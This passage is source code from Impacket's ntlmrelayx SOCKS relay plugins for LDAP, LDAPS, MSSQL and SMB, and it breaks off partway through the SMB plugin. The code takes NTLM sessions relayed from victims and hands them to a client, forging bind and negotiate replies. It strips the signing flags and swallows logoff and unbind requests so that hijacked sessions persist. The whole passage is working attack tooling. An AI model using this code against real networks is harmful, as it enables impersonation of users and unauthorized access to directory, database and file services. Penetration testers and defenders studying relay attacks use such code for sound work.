bindresponse['diagnosticMessage'] = LDAPString('')\n                        self.send_ldap_msg(bindresponse, message['messageID'])\n\n                        # Let's receive next messages\n                        continue\n\n                    elif 'sicilyNegotiate' in msg_component['authentication']:\n                        # Requested NTLM authentication\n\n                        LOG.debug('LDAP: Got NTLM bind request')\n\n                        # Load negotiate message\n                        negotiateMessage = ntlm.NTLMAuthNegotiate()\n                        negotiateMessage.fromString(msg_component['authentication']['sicilyNegotiate'].asOctets())\n\n                        # Reuse the challenge message from the real authentication with the server\n                        challengeMessage = self.sessionData['CHALLENGE_MESSAGE']\n                        # We still remove the annoying flags\n                        challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)\n                        challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SEAL)\n\n                        # Building the LDAP bind response message\n                        bindresponse = BindResponse()\n                        bindresponse['resultCode'] = ResultCode('success')\n                        bindresponse['matchedDN'] = LDAPDN(challengeMessage.getData())\n                        bindresponse['diagnosticMessage'] = LDAPString('')\n\n                        # Sending the response\n                        self.send_ldap_msg(bindresponse, message['messageID'])\n\n                    elif 'sicilyResponse' in msg_component['authentication']:\n                        # Received an NTLM auth bind request\n\n                        # Parsing authentication method\n                        chall_response = ntlm.NTLMAuthChallengeResponse()\n                        chall_response.fromString(msg_component['authentication']['sicilyResponse'].asOctets())\n\n                        username = chall_response['user_name'].decode('utf-16le')\n                        domain = chall_response['domain_name'].decode('utf-16le')\n                        self.username = f'{domain}/{username}'\n\n                        # Checking for the two formats the domain can have (taken from both HTTP and SMB socks plugins)\n                        if f'{domain}/{username}'.upper() in self.activeRelays:\n                            self.username = f'{domain}/{username}'.upper()\n                        elif f'{domain.split(\".\", 1)[0]}/{username}'.upper() in self.activeRelays:\n                            self.username = f'{domain.split(\".\", 1)[0]}/{username}'.upper()\n                        else:\n                            # Username not in active relays\n                            LOG.error('LDAP: No session for %s@%s(%s) available' % (\n                                username, self.targetHost, self.targetPort))\n                            return False\n\n                        if self.activeRelays[self.username]['inUse'] is True:\n                            LOG.error('LDAP: Connection for %s@%s(%s) is being used at the moment!' % (\n                                self.username, self.targetHost, self.targetPort))\n                            return False\n                        else:\n                            LOG.info('LDAP: Proxying client session for %s@%s(%s)' % (\n                                self.username, self.targetHost, self.targetPort))\n                            self.activeRelays[self.username]['inUse'] = True\n                            self.session = self.activeRelays[self.username]['protocolClient'].session.socket\n                        \n                        # Building successful LDAP bind response\n                        bindresponse = BindResponse()\n                        bindresponse['resultCode'] = ResultCode('success')\n                        bindresponse['matchedDN'] = LDAPDN('')\n                        bindresponse['diagnosticMessage'] = LDAPString('')\n\n                        # Sending successful response\n                        self.send_ldap_msg(bindresponse, message['messageID'])\n\n                        return True\n                    else:\n                        LOG.error('LDAP: Received an unknown LDAP binding request, cannot continue')\n                        return False\n\n                else:\n                    msg_component = message['protocolOp'].getComponent()\n                    if msg_component.isSameTypeWith(SearchRequest):\n                        # Pre-auth search request\n\n                        if msg_component['attributes'][0] == LDAPString('supportedCapabilities'):\n                            # supportedCapabilities\n                            response = SearchResultEntry()\n                            response['objectName'] = LDAPDN('')\n                            response['attributes'] = PartialAttributeList()\n\n                            attribs = PartialAttribute()\n                            attribs.setComponentByName('type', 'supportedCapabilities')\n                            attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue()))\n                            # LDAP_CAP_ACTIVE_DIRECTORY_OID\n                            attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('1.2.840.113556.1.4.800'))\n                            # LDAP_CAP_ACTIVE_DIRECTORY_V51_OID\n                            attribs.getComponentByName('vals').setComponentByPosition(1, AttributeValue('1.2.840.113556.1.4.1670'))\n                            # LDAP_CAP_ACTIVE_DIRECTORY_LDAP_INTEG_OID\n                            attribs.getComponentByName('vals').setComponentByPosition(2, AttributeValue('1.2.840.113556.1.4.1791'))\n                            # ISO assigned OIDs\n                            attribs.getComponentByName('vals').setComponentByPosition(3, AttributeValue('1.2.840.113556.1.4.1935'))\n                            attribs.getComponentByName('vals').setComponentByPosition(4, AttributeValue('1.2.840.113556.1.4.2080'))\n                            attribs.getComponentByName('vals').setComponentByPosition(5, AttributeValue('1.2.840.113556.1.4.2237'))\n\n                            response['attributes'].append(attribs)\n\n                        elif msg_component['attributes'][0] == LDAPString('supportedSASLMechanisms'):\n                            # supportedSASLMechanisms\n                            response = SearchResultEntry()\n                            response['objectName'] = LDAPDN('')\n                            response['attributes'] = PartialAttributeList()\n\n                            attribs = PartialAttribute()\n                            attribs.setComponentByName('type', 'supportedSASLMechanisms')\n                            attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue()))\n                            # Force NTLMSSP to avoid parsing every type of authentication\n                            attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('NTLM'))\n\n                            response['attributes'].append(attribs)\n                        else:\n                            # Any other message triggers the closing of client connection\n                            return False\n\n                        # Sending message\n                        self.send_ldap_msg(response, message['messageID'])\n                        # Sending searchResDone\n                        result_done = SearchResultDone()\n                        result_done['resultCode'] = ResultCode('success')\n                        result_done['matchedDN'] = LDAPDN('')\n                        result_done['diagnosticMessage'] = LDAPString('')\n                        self.send_ldap_msg(result_done, message['messageID'])\n\n    def recv_ldap_msg(self):\n        '''Receive LDAP messages during the SOCKS client LDAP authentication.'''\n\n        data = b''\n        done = False\n        while not done:\n            recvData = self.socksSocket.recv(self.MSG_SIZE)\n            if recvData == b'':\n                # Connection got closed\n                return None\n            if len(recvData) < self.MSG_SIZE:\n                done = True\n            data += recvData\n\n        response = []\n        while len(data) > 0:\n            try:\n                message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())\n            except SubstrateUnderrunError:\n                # We need more data\n                new_data = self.socksSocket.recv(self.MSG_SIZE)\n                if new_data == b'':\n                    # Connection got closed\n                    return None\n                remaining = data + new_data\n            else:\n                response.append(message)\n            data = remaining\n\n        return response\n    \n    def send_ldap_msg(self, response, message_id, controls=None):\n        '''Send LDAP messages during the SOCKS client LDAP authentication.'''\n\n        message = LDAPMessage()\n        message['messageID'] = message_id\n        message['protocolOp'].setComponentByType(response.getTagSet(), response)\n        if controls is not None:\n            message['controls'].setComponents(*controls)\n\n        data = encoder.encode(message)\n\n        return self.socksSocket.sendall(data)\n\n    def wait_for_data(self, socket1, socket2):\n        return select.select([socket1, socket2], [], [])[0]\n\n    def passthrough_sockets(self, client_sock, server_sock):\n        while True:\n            rready = self.wait_for_data(client_sock, server_sock)\n\n            for sock in rready:\n\n                if sock == client_sock:\n                    # Data received from client\n                    try:\n                        read = client_sock.recv(self.MSG_SIZE)\n                    except Exception:\n                        read = ''\n                    if not read:\n                        return\n\n                    if not self.is_allowed_request(read):\n                        # Stop client connection when unallowed requests are made\n                        return\n\n                    if not self.is_forwardable_request(read):\n                        # Do not forward unbind requests, otherwise we would loose the SOCKS\n                        continue\n\n                    try:\n                        server_sock.send(read)\n                    except Exception:\n                        raise BrokenPipeError('Broken pipe: LDAP server is gone')\n\n                elif sock == server_sock:\n                    # Data received from server\n                    try:\n                        read = server_sock.recv(self.MSG_SIZE)\n                    except Exception:\n                        read = ''\n                    if not read:\n                        raise BrokenPipeError('Broken pipe: LDAP server is gone')\n\n                    try:\n                        client_sock.send(read)\n                    except Exception:\n                        return\n\n    def tunnelConnection(self):\n        '''Charged of tunneling the rest of the connection.'''\n\n        self.passthrough_sockets(self.socksSocket, self.session)\n        \n        # Free the relay so that it can be reused\n        self.activeRelays[self.username]['inUse'] = False\n\n        LOG.debug('LDAP: Finished tunnelling')\n\n        return True\n\n    def is_forwardable_request(self, data):\n        try:\n            message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())\n            msg_component = message['protocolOp'].getComponent()\n\n            # Search for unbind requests\n            if msg_component.isSameTypeWith(UnbindRequest):\n                LOG.warning('LDAP: Client tried to unbind LDAP connection, skipping message')\n                return False\n        except Exception:\n            # Is probably not an unbind LDAP message\n            pass\n\n        return True\n\n    def is_allowed_request(self, data):\n        try:\n            message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())\n            msg_component = message['protocolOp'].getComponent()\n\n            # Search for START_TLS LDAP extendedReq OID\n            if msg_component.isSameTypeWith(ExtendedRequest) and msg_component['requestName'].asOctets() == b'1.3.6.1.4.1.1466.20037':\n                # 1.3.6.1.4.1.1466.20037 is LDAP_START_TLS_OID\n                LOG.warning('LDAP: Client tried to initiate Start TLS, closing connection')\n                return False\n        except Exception:\n            # Is probably not a ExtendedReq message\n            pass\n\n        return True\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py",
    "content": "import select\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.servers.socksplugins.ldap import LDAPSocksRelay\nfrom impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin\nfrom OpenSSL import SSL\n\nPLUGIN_CLASS = \"LDAPSSocksRelay\"\n\nclass LDAPSSocksRelay(SSLServerMixin, LDAPSocksRelay):\n    PLUGIN_NAME = 'LDAPS Socks Plugin'\n    PLUGIN_SCHEME = 'LDAPS'\n\n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        LDAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)\n\n    @staticmethod\n    def getProtocolPort():\n        return 636\n\n    def skipAuthentication(self):\n        LOG.debug('Wrapping client connection in TLS/SSL')\n        self.wrapClientConnection()\n\n        # Skip authentication using the same technique as LDAP\n        try:\n            if not LDAPSocksRelay.skipAuthentication(self):\n                # Shut down TLS connection\n                self.socksSocket.shutdown()\n                return False\n        except SSL.SysCallError:\n            LOG.warning('Cannot wrap client socket in TLS/SSL')\n            return False\n\n        return True\n\n    def wait_for_data(self, socket1, socket2):\n        rready = []\n\n        if socket1.pending():\n            rready.append(socket1)\n        if socket2.pending():\n            rready.append(socket2)\n\n        if not rready:\n            rready, _, exc = select.select([socket1, socket2], [], [])\n\n        return rready\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A Socks Proxy for the MSSQL Protocol\n#\n#   A simple SOCKS server that proxy connection to relayed connections\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nimport struct\nimport random\n\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay\nfrom impacket.tds import TDSPacket, TDS_STATUS_NORMAL, TDS_STATUS_EOM, TDS_PRE_LOGIN, TDS_ENCRYPT_NOT_SUP, TDS_TABULAR, \\\n    TDS_LOGIN, TDS_LOGIN7, TDS_PRELOGIN, TDS_INTEGRATED_SECURITY_ON\nfrom impacket.ntlm import NTLMAuthChallengeResponse\ntry:\n    from OpenSSL import SSL\nexcept:\n    LOG.critical(\"pyOpenSSL is not installed, can't continue\")\n    raise\n\n# Besides using this base class you need to define one global variable when\n# writing a plugin:\nPLUGIN_CLASS = \"MSSQLSocksRelay\"\n\nclass MSSQLSocksRelay(SocksRelay):\n    PLUGIN_NAME = 'MSSQL Socks Plugin'\n    PLUGIN_SCHEME = 'MSSQL'\n\n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)\n        self.isSSL = False\n        self.tlsSocket = None\n        self.packetSize = 32763\n        self.session = None\n\n    @staticmethod\n    def getProtocolPort():\n        return 1433\n\n    def initConnection(self):\n        pass\n\n    def skipAuthentication(self):\n\n        # 1. First packet should be a TDS_PRELOGIN()\n        tds = self.recvTDS()\n        if tds['Type'] != TDS_PRE_LOGIN:\n            # Unexpected packet\n            LOG.debug('Unexpected packet type %d instead of TDS_PRE_LOGIN' % tds['Type'])\n            return False\n\n        prelogin = TDS_PRELOGIN()\n        prelogin['Version'] = b\"\\x08\\x00\\x01\\x55\\x00\\x00\"\n        prelogin['Encryption'] = TDS_ENCRYPT_NOT_SUP\n        prelogin['ThreadID'] = struct.pack('<L',random.randint(0,65535))\n        prelogin['Instance'] = b'\\x00'\n\n        # Answering who we are\n        self.sendTDS(TDS_TABULAR, prelogin.getData(), 0)\n\n        # 2. Packet should be a TDS_LOGIN\n        tds = self.recvTDS()\n\n        if tds['Type'] != TDS_LOGIN7:\n            # Unexpected packet\n            LOG.debug('Unexpected packet type %d instead of TDS_LOGIN' % tds['Type'])\n            return False\n\n        login = TDS_LOGIN()\n        login.fromString(tds['Data'])\n        if login['OptionFlags2'] & TDS_INTEGRATED_SECURITY_ON:\n            # Windows Authentication enabled\n            # Send the resp we've got from the original relay\n            TDSResponse = self.sessionData['NTLM_CHALLENGE']\n            self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0)\n\n            # Here we should get the NTLM_AUTHENTICATE\n            tds = self.recvTDS()\n            authenticateMessage = NTLMAuthChallengeResponse()\n            authenticateMessage.fromString(tds['Data'])\n            self.username = authenticateMessage['user_name']\n            try:\n                self.username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),\n                                      authenticateMessage['user_name'].decode('utf-16le'))).upper()\n            except UnicodeDecodeError:\n                # Not Unicode encoded?\n                self.username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper()\n\n        else:\n            if login['UserName'].find('/') >=0:\n                try:\n                    self.username = login['UserName'].upper().decode('utf-16le')\n                except UnicodeDecodeError:\n                    # Not Unicode encoded?\n                    self.username = login['UserName'].upper()\n\n            else:\n                try:\n                    self.username = ('/%s' % login['UserName'].decode('utf-16le')).upper()\n                except UnicodeDecodeError:\n                    # Not Unicode encoded?\n                    self.username = ('/%s' % login['UserName']).upper()\n\n        # Check if we have a connection for the user\n        if self.username in self.activeRelays:\n            # Check the connection is not inUse\n            if self.activeRelays[self.username]['inUse'] is True:\n                LOG.error('MSSQL: Connection for %s@%s(%s) is being used at the moment!' % (\n                    self.username, self.targetHost, self.targetPort))\n                return False\n            else:\n                LOG.info('MSSQL: Proxying client session for %s@%s(%s)' % (\n                    self.username, self.targetHost, self.targetPort))\n                self.session = self.activeRelays[self.username]['protocolClient'].session\n        else:\n            LOG.error('MSSQL: No session for %s@%s(%s) available' % (\n                self.username, self.targetHost, self.targetPort))\n            return False\n\n        # We have a session relayed, let's answer back with the data\n        if login['OptionFlags2'] & TDS_INTEGRATED_SECURITY_ON:\n            TDSResponse = self.sessionData['AUTH_ANSWER']\n            self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0)\n        else:\n            TDSResponse = self.sessionData['AUTH_ANSWER']\n            self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0)\n\n        return True\n\n    def tunnelConnection(self):\n        # For the rest of the remaining packets, we should just read and send. Except when trying to log out,\n        # that's forbidden! ;)\n        try:\n            while True:\n                # 1. Get Data from client\n                tds = self.recvTDS()\n                # 2. Send it to the relayed session\n                self.session.sendTDS(tds['Type'], tds['Data'], 0)\n                # 3. Get the target's answer\n                tds = self.session.recvTDS()\n                # 4. Send it back to the client\n                self.sendTDS(tds['Type'], tds['Data'], 0)\n        except Exception:\n            # Probably an error here\n            LOG.debug('Exception:', exc_info=True)\n\n        return True\n\n    def sendTDS(self, packetType, data, packetID = 1):\n        if (len(data)-8) > self.packetSize:\n            remaining = data[self.packetSize-8:]\n            tds = TDSPacket()\n            tds['Type'] = packetType\n            tds['Status'] = TDS_STATUS_NORMAL\n            tds['PacketID'] = packetID\n            tds['Data'] = data[:self.packetSize-8]\n            self.socketSendall(tds.getData())\n\n            while len(remaining) > (self.packetSize-8):\n                packetID += 1\n                tds['PacketID'] = packetID\n                tds['Data'] = remaining[:self.packetSize-8]\n                self.socketSendall(tds.getData())\n                remaining = remaining[self.packetSize-8:]\n            data = remaining\n            packetID+=1\n\n        tds = TDSPacket()\n        tds['Type'] = packetType\n        tds['Status'] = TDS_STATUS_EOM\n        tds['PacketID'] = packetID\n        tds['Data'] = data\n        self.socketSendall(tds.getData())\n\n    def socketSendall(self,data):\n        if self.tlsSocket is None:\n            return self.socksSocket.sendall(data)\n        else:\n            self.tlsSocket.sendall(data)\n            dd = self.tlsSocket.bio_read(self.packetSize)\n            return self.socksSocket.sendall(dd)\n\n    def socketRecv(self, packetSize):\n        data = self.socksSocket.recv(packetSize)\n        if self.tlsSocket is not None:\n            dd = b''\n            self.tlsSocket.bio_write(data)\n            while True:\n                try:\n                    dd += self.tlsSocket.read(packetSize)\n                except SSL.WantReadError:\n                    data2 = self.socksSocket.recv(packetSize - len(data) )\n                    self.tlsSocket.bio_write(data2)\n                    pass\n                else:\n                    data = dd\n                    break\n        return data\n\n    def recvTDS(self, packetSize=None):\n        # Do reassembly here\n        if packetSize is None:\n            packetSize = self.packetSize\n        packet = TDSPacket(self.socketRecv(packetSize))\n        status = packet['Status']\n        packetLen = packet['Length'] - 8\n        while packetLen > len(packet['Data']):\n            data = self.socketRecv(packetSize)\n            packet['Data'] += data\n\n        remaining = None\n        if packetLen < len(packet['Data']):\n            remaining = packet['Data'][packetLen:]\n            packet['Data'] = packet['Data'][:packetLen]\n\n        while status != TDS_STATUS_EOM:\n            if remaining is not None:\n                tmpPacket = TDSPacket(remaining)\n            else:\n                tmpPacket = TDSPacket(self.socketRecv(packetSize))\n\n            packetLen = tmpPacket['Length'] - 8\n            while packetLen > len(tmpPacket['Data']):\n                data = self.socketRecv(packetSize)\n                tmpPacket['Data'] += data\n\n            remaining = None\n            if packetLen < len(tmpPacket['Data']):\n                remaining = tmpPacket['Data'][packetLen:]\n                tmpPacket['Data'] = tmpPacket['Data'][:packetLen]\n\n            status = tmpPacket['Status']\n            packet['Data'] += tmpPacket['Data']\n            packet['Length'] += tmpPacket['Length'] - 8\n\n        # print packet['Length']\n        return packet\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/smb.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A Socks Proxy for the SMB Protocol\n#\n#   A simple SOCKS server that proxy connection to relayed connections\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nimport calendar\nimport time\nimport random\nimport string\nfrom struct import unpack\nfrom binascii import hexlify\nfrom six import b\n\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay\nfrom impacket.nmb import NetBIOSTCPSession\nfrom impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_SUCCESS, STATUS_ACCESS_DENIED\nfrom impacket.ntlm import NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_SIGN\nfrom impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBExtended_Security_Data, \\\n    SMBExtended_Security_Parameters, SMBNTLMDialect_Parameters, SMBNTLMDialect_Data, \\\n    SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \\\n    SMBSessionSetupAndX_Extended_Parameters, SMBSessionSetupAndX_Extended_Data, POSIXtoFT\nfrom impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_AID\nfrom impacket.smb3 import SMB2Packet, SMB2_FLAGS_SERVER_TO_REDIR, SMB2_NEGOTIATE, SMB2Negotiate_Response, \\\n    SMB2_SESSION_SETUP, SMB2SessionSetup_Response, SMB2SessionSetup, SMB2_LOGOFF, SMB2Logoff_Response, \\\n    SMB2_DIALECT_WILDCARD, SMB2_FLAGS_SIGNED, SMB2_SESSION_FLAG_IS_GUEST\nfrom impacket.spnego import MechTypes, ASN1_SUPPORTED_MECH\nfrom impacket.smb import SMB_DIALECT\n\n# Besides using this base class you need to define one global variable when\n# writing a plugin:\nPLUGIN_CLASS = \"SMBSocksRelay\"\n\nclass SMBSocksRelay(SocksRelay):\n    PLUGIN_NAME = 'SMB Socks Plugin'\n    PLUGIN_SCHEME = 'SMB'\n    \n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)\n        self.__NBSession = None\n        self.isSMB2 = False\n        self.serverDialect = SMB_DIALECT\n\n        # Let's verify the target's server SMB version, will need it for later.\n        # We're assuming all connections to the target server use the same SMB version\n        for key in list(activeRelays.keys()):\n            if key != 'data' and key != 'scheme':\n                if 'protocolClient' in activeRelays[key]:\n                    self.serverDialect = activeRelays[key]['protocolClient'].session.getDialect()\n                    self.isSMB2 = activeRelays[key]['protocolClient'].session.getDialect() is not SMB_DIALECT\n                    break\n\n    @staticmethod\n    def getProtocolPort():\n        return 445\n\n    def initConnection(self):\n        # An incoming SMB Connection. Nice\n        self.__NBSession = NetBIOSTCPSession('', 'HOST', self.targetHost, sess_port=self.targetPort, sock=self.socksSocket)\n\n    def skipAuthentication(self):\n        packet, smbCommand = self.getSMBPacket()\n\n        if isinstance(packet, SMB2Packet) is False:\n            if packet['Command'] == SMB.SMB_COM_NEGOTIATE:\n                # Nego packet, we should answer with supporting only SMBv1\n                resp = self.getNegoAnswer(packet)\n                self.__NBSession.send_packet(resp.getData())\n                # If target Server is running SMB2+ and we're here, there should be a SMB2+ NEGO packet coming\n                # calling skipAuth again and go from there\n                if self.isSMB2:\n                    return self.skipAuthentication()\n                packet, smbCommand = self.getSMBPacket()\n\n            if packet['Command'] == SMB.SMB_COM_SESSION_SETUP_ANDX:\n                # We have a session setup, let's answer what the original target answered us.\n                self.clientConnection, self.username = self.processSessionSetup(packet)\n                if self.clientConnection is None:\n                    return False\n        else:\n            if packet['Command'] == SMB2_NEGOTIATE:\n                resp = self.getNegoAnswer(packet)\n                self.__NBSession.send_packet(resp.getData())\n                packet, smbCommand = self.getSMBPacket()\n\n            if packet['Command'] == SMB2_SESSION_SETUP:\n                self.clientConnection, self.username = self.processSessionSetup(packet)\n                if self.clientConnection is None:\n                    return False\n\n        return True\n\n    def tunnelConnection(self):\n        # For the rest of the remaining packets, we should just read and send. Except when trying to log out,\n        # that's forbidden! ;)\n        while True:\n            # 1. Get Data from client\n            data = self.__NBSession.recv_packet().get_trailer()\n\n            if len(data) == 0:\n                break\n\n            if self.isSMB2 is False:\n                packet = NewSMBPacket(data=data)\n\n                if packet['Command'] == SMB.SMB_COM_LOGOFF_ANDX:\n                    # We do NOT want to get logged off do we?\n                    LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort))\n                    data = self.getLogOffAnswer(packet)\n                else:\n                    # 2. Send it to the relayed session\n                    self.clientConnection.getSMBServer()._sess.send_packet(data)\n\n                    # 3. Get the target's answer\n                    data = self.clientConnection.getSMBServer()._sess.recv_packet().get_trailer()\n\n                    packet = NewSMBPacket(data=data)\n\n                    if packet['Command'] == SMB.SMB_COM_TRANSACTION or packet['Command'] == SMB.SMB_COM_TRANSACTION2:\n                        try:\n                            while True:\n                                # Anything else to read? with timeout of 1 sec. This is something to test or find\n                                # a better way to control\n                                data2 = self.clientConnection.getSMBServer()._sess.recv_packet(timeout=1).get_trailer()\n                                self.__NBSession.send_packet(data)\n                                data = data2\n                        except Exception as e:\n                            if str(e).find('timed out') > 0:\n                                pass\n                            else:\n                                raise\n\n                    if len(data) == 0:\n                        break\n            else:\n                packet = SMB2Packet(data=data)\n                origID = packet['MessageID']\n\n                # Just in case, let's remove any signing attempt\n                packet['Signature'] = \"\"\n                packet['Flags'] &= ~(SMB2_FLAGS_SIGNED)\n\n                # Let's be sure the TreeConnect Table is filled with fake data\n                if (packet['TreeID'] in self.clientConnection.getSMBServer()._Session['TreeConnectTable']) is False:\n                    self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']] = {}\n                    self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] = False\n\n                if packet['Command'] == SMB2_LOGOFF:\n                    # We do NOT want to get logged off do we?\n                    LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort))\n                    data = self.getLogOffAnswer(packet)\n                else:\n                    # 2. Send it to the relayed session\n                    self.clientConnection.getSMBServer().sendSMB(packet)\n\n                    # 3. Get the target's answer\n                    packet = self.clientConnection.getSMBServer().recvSMB()\n\n                    if len(packet.getData()) == 0:\n                        break\n                    else:\n                        packet['MessageID'] = origID\n                        data = packet.getData()\n\n            # 4. Send it back to the client\n            self.__NBSession.send_packet(data)\n\n        return True\n\n    def getSMBPacket(self):\n        data = self.__NBSession.recv_packet()\n        try:\n            packet = NewSMBPacket(data=data.get_trailer())\n            smbCommand = SMBCommand(packet['Data'][0])\n        except Exception:\n            # Maybe a SMB2 packet?\n            try:\n                packet = SMB2Packet(data = data.get_trailer())\n                smbCommand = None\n            except Exception as e:\n                LOG.debug(\"Exception:\", exc_info=True)\n                LOG.error('SOCKS: %s' % str(e))\n\n        return packet, smbCommand\n\n    def getNegoAnswer(self, recvPacket):\n\n        if self.isSMB2 is False:\n            smbCommand = SMBCommand(recvPacket['Data'][0])\n            respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)\n\n            resp = NewSMBPacket()\n            resp['Flags1'] = SMB.FLAGS1_REPLY\n            resp['Pid'] = recvPacket['Pid']\n            resp['Tid'] = recvPacket['Tid']\n            resp['Mid'] = recvPacket['Mid']\n\n            dialects = smbCommand['Data'].split(b'\\x02')\n            index = dialects.index(b'NT LM 0.12\\x00') - 1\n            # Let's fill the data for NTLM\n            if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:\n                resp['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE\n                _dialects_data = SMBExtended_Security_Data()\n                _dialects_data['ServerGUID'] = b'A' * 16\n                blob = SPNEGO_NegTokenInit()\n                blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n                _dialects_data['SecurityBlob'] = blob.getData()\n\n                _dialects_parameters = SMBExtended_Security_Parameters()\n                _dialects_parameters[\n                    'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE\n                _dialects_parameters['ChallengeLength'] = 0\n\n            else:\n                resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE\n                _dialects_parameters = SMBNTLMDialect_Parameters()\n                _dialects_data = SMBNTLMDialect_Data()\n                _dialects_data['Payload'] = b''\n                _dialects_data['Challenge'] = b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88'\n                _dialects_parameters['ChallengeLength'] = 8\n                _dialects_parameters['Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS\n\n            _dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS\n            _dialects_parameters['DialectIndex'] = index\n            _dialects_parameters['SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER\n            _dialects_parameters['MaxMpxCount'] = 1\n            _dialects_parameters['MaxNumberVcs'] = 1\n            _dialects_parameters['MaxBufferSize'] = 64000\n            _dialects_parameters['MaxRawSize'] = 65536\n            _dialects_parameters['SessionKey'] = 0\n            _dialects_parameters['LowDateTime'] = 0\n            _dialects_parameters['HighDateTime'] = 0\n            _dialects_parameters['ServerTimeZone'] = 0\n\n            respSMBCommand['Data'] = _dialects_data\n            respSMBCommand['Parameters'] = _dialects_parameters\n\n            resp.addCommand(respSMBCommand)\n        else:\n            resp= SMB2Packet()\n            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR\n            resp['Status'] = STATUS_SUCCESS\n            resp['CreditRequestResponse'] = 1\n            resp['CreditCharge'] = 1\n            resp['Command'] = SMB2_NEGOTIATE\n            resp['SessionID'] = 0\n            resp['MessageID'] = 0\n            resp['TreeID'] = 0\n\n            respSMBCommand = SMB2Negotiate_Response()\n\n            respSMBCommand['SecurityMode'] = 1\n            if isinstance(recvPacket, NewSMBPacket):\n                respSMBCommand['DialectRevision'] = SMB2_DIALECT_WILDCARD\n            else:\n                respSMBCommand['DialectRevision'] = self.serverDialect\n                resp['MessageID'] = recvPacket['MessageID']\n            respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))\n            respSMBCommand['Capabilities'] = 0x7\n            respSMBCommand['MaxTransactSize'] = 65536\n            respSMBCommand['MaxReadSize'] = 65536\n            respSMBCommand['MaxWriteSize'] = 65536\n            respSMBCommand['SystemTime'] = POSIXtoFT(calendar.timegm(time.gmtime()))\n            respSMBCommand['ServerStartTime'] = POSIXtoFT(calendar.timegm(time.gmtime()))\n            respSMBCommand['SecurityBufferOffset'] = 0x80\n\n            blob = SPNEGO_NegTokenInit()\n            blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n\n            respSMBCommand['Buffer'] = blob.getData()\n            respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])\n\n            resp['Data'] = respSMBCommand\n\n        return resp\n\n    def processSessionSetup(self, recvPacket):\n\n        if self.isSMB2 is False:\n            respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)\n            smbCommand = SMBCommand(recvPacket['Data'][0])\n\n            if smbCommand['WordCount'] == 12:\n                respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()\n                respData = SMBSessionSetupAndX_Extended_Response_Data()\n\n                # First of all, we should received a type 1 message. Let's answer it\n                # NEGOTIATE_MESSAGE\n                challengeMessage = 